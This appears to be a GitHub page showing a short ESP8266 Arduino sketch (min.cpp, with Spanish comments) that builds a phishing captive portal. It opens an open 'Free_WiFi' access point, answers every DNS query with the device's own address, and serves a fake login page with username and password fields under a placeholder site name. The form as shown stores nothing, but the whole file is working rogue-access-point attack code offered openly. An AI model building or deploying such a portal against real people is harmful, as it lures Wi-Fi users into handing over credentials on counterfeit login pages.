-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmin.cpp
More file actions
34 lines (27 loc) · 964 Bytes
/
Copy pathmin.cpp
File metadata and controls
34 lines (27 loc) · 964 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <ESP8266WiFi.h>
#include <DNSServer.h>
#include <ESP8266WebServer.h>
const byte DNS_PORT = 53;
IPAddress apIP(192, 168, 4, 1);
DNSServer dnsServer;
ESP8266WebServer webServer(80);
String lastHost = "sitio-falso";
void setup() {
WiFi.mode(WIFI_AP);
WiFi.softAP("Free_WiFi", ""); // AP sin contraseña
WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));
dnsServer.start(DNS_PORT, "*", apIP); // Responde a cualquier dominio
webServer.onNotFound([]() {
// Generar página HTML con el último host "simulado"
String html = "<html><head><title>" + lastHost + "</title></head><body>";
html += "<h2>Login - " + lastHost + "</h2>";
html += "<form><input placeholder='Usuario'><br><input type='password' placeholder='Contraseña'></form>";
html += "</body></html>";
webServer.send(200, "text/html", html);
});
webServer.begin();
}
void loop() {
dnsServer.processNextRequest();
webServer.handleClient();
}